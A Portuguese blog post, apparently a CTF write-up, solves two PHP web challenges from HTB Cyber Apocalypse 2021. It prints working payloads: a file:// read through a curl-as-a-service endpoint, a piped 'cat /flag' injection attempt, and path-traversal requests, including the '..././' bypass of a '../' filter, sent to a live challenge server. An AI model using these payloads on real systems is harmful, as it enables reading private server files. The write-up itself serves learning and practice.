HTB CTF: Cyber Apocalypse 2021 — Parte 2 — PHP Hacks

Neptunian
5 min readApr 29, 2021

--

Os desafios

Esta é a segunda parte da série HTB CTF: Cyber Apocalypse 2021, onde são discutidas as soluções de 7 desafios de Web Hacking deste CTF.

Neste post, são demonstradas as soluções para dois desafios PHP, com nível de dificuldade mais baixa, mas interessantes de acompanhar para quem estiver iniciando em CTFs e estudando falhas em serviços PHP.

Desafio: CaaS — Curl as a Service

Esse desafio traz um site que faz um curl as a service, ou seja, uma simulação do comando curl na linha de comando, via web. Após digitar uma URL, ele traz o conteúdo dela em HTML em texto, como se fosse em um shell real.

Esse desafio vem com o código-fonte PHP, que disponibilizei no meu repositório, que é possível você replicar, executando o build_docker.sh.

No código-fonte, você descobre que a aplicação faz todo um trabalho de gerenciamento dinâmico de rotas, que achei que fosse importante, mas… não é muito relevante (tirando mais um aprendizado), então vou pular direto pro que interessa, que é onde a aplicação processa o pedido:

Trecho de Código onde é processado o comando Curl

Nesta classe, ele recebe a URL como parâmetro e chama o comando curl via PHP exec, que dispara o novo processo e retorna a saída dele, que é o que vemos na tela no final.

Normalmente aqui eu tentaria forçar a execução de algum outro comando, incluindo dados indesejados no final, como exemplo:

curl -sL http://www.google.com | cat /flag

Com isso, eu já conseguiria rodar qualquer comando no servidor (RCE), MAS esse tipo de ataque é protegido nesta aplicação pela função escapeshellcmd, que, faz o escape de uma série de caracteres usados pra esse tipo de bypass (como o pipe).

Vulnerabilidade

No caso desta aplicação, a vulnerabilidade é muito mais simples do que isso. Dois pontos importantes aqui pra chutar no gol:

  • A flag, em boa parte dos challenges de CTFs, é um arquivo no servidor que fica no diretório da aplicação ou na raiz.
  • Apesar do filtro contra injeção de comandos no escapeshellcmd, a aplicação não filtra o conteúdo que vai pro curl.

Com isso, é possível solicitar, via curl, um arquivo local usando file:// ao invés de http://. Com essa simplicidade no coração, podemos fazer o teste localmente:

neptunian:~/ctf_cyber_apocalypse_2021/web_caas$ curl 'http://localhost:1337/api/curl' \
> -H 'Content-Type: application/x-www-form-urlencoded' \
> --data-raw 'ip=file:///flag' \
> --compressed \
> --insecure
{"message":["CHTB{f4k3_fl4g_f0r_t3st1ng}"]}

Sucesso local, agora testando no servidor do desafio:

Mais uma bandeira pra coleção.

Desafio: Ministryplace

Este desafio começa com uma página com dois idiomas: EN e QW (links no canto superior direito).

Ao clicar no link, ele chama a URL no seguinte formato:

http://localhost:1337/?lang=en.php

Dica: sempre que um parâmetro da querystring referenciar um arquivo do servidor, você já percebe que ele provavelmente está incluindo este arquivo na saída. Ele traz uma potencial falha de Local File Inclusion, que é quando podemos manipular esse parâmetro pra trazer arquivos do servidor que não deveriam ser vazados.

A tentativa natural, inicial é:

neptunian:~/ctf_cyber_apocalypse_2021$ curl http://localhost:1337/?lang=../../../../../../../etc/passwd
<html>
<header>
<meta name='author' content='bertolis, makelaris'>
<title>Ministry of Defence</title>
<link rel="stylesheet" href="/static/css/main.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootswatch/4.5.0/slate/bootstrap.min.css" >
</header>
<body>
<div class="language">
<a href="?lang=en.php">EN</a>
<a href="?lang=qw.php">QW</a>
</div>
</body>
</html>

Neste caso, não tivemos resultado, mas esse desafio também vem com o código-fonte disponível (tambéno meu repositório), onde podemos entender melhor como ele trata esse include:

Ministryplace — index.php

Essa aplicação é extremamente simples e o único código-fonte de fato está no index.php. Resumindo o que ele faz:

  • Pega o conteúdo do parâmetro lang da querystring
  • Se não tiver valor, pega um aleatório (en.php ou qw.php)
  • Concatena no início a string ‘pages/’, pra forçar a leitura de arquivos apenas desse diretório.
  • IMPORTANTE: Faz um replace de ‘../’ em qualquer parte da string. A ideia é evitar justamente a nossa manobra pra tentar buscar arquivos fora do diretório pages.

Numa primeira olhada, o filtro parece bloquear a nossa tentativa mas... nós somos mais espertos do que ele :) Queremos forçar diretórios anteriores mesmo com esse replace, mas como?

Assumindo que a flag esteja no diretório raiz (/):

..././..././flag

Se prestar atenção na string demoníaca acima, vai ver que uma parte está em negrito. Essa parte é a que sofre o replace da da aplicação. Mas após o replace, a string fica assim:

../../flag

Então, let's hack:

E, no servidor do CTF:

$ curl http://139.59.190.72:31642/?lang=..././..././flag% Total    % Received % Xferd  Average Speed   Time    Time     Time  CurrentDload  Upload   Total   Spent    Left  Speed100   491    0   491    0     0   1158      0 --:--:-- --:--:-- --:--:--  1160<html><header><meta name='author' content='bertolis, makelaris'><title>Ministry of Defence</title><link rel="stylesheet" href="/static/css/main.css"><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootswatch/4.5.0/slate/bootstrap.min.css"   ></header><body><div class="language"><a href="?lang=en.php">EN</a><a href="?lang=qw.php">QW</a></div>CHTB{b4d_4li3n_pr0gr4m1ng}</body></html>

Mais uma no mural. Facinha, mas pontua.

Na parte 3 é explorada uma falha de XPath Injection:

Referências

--

--

Neptunian
Neptunian

Written by Neptunian

Hacker tiozão do pavê de final de semana

No responses yet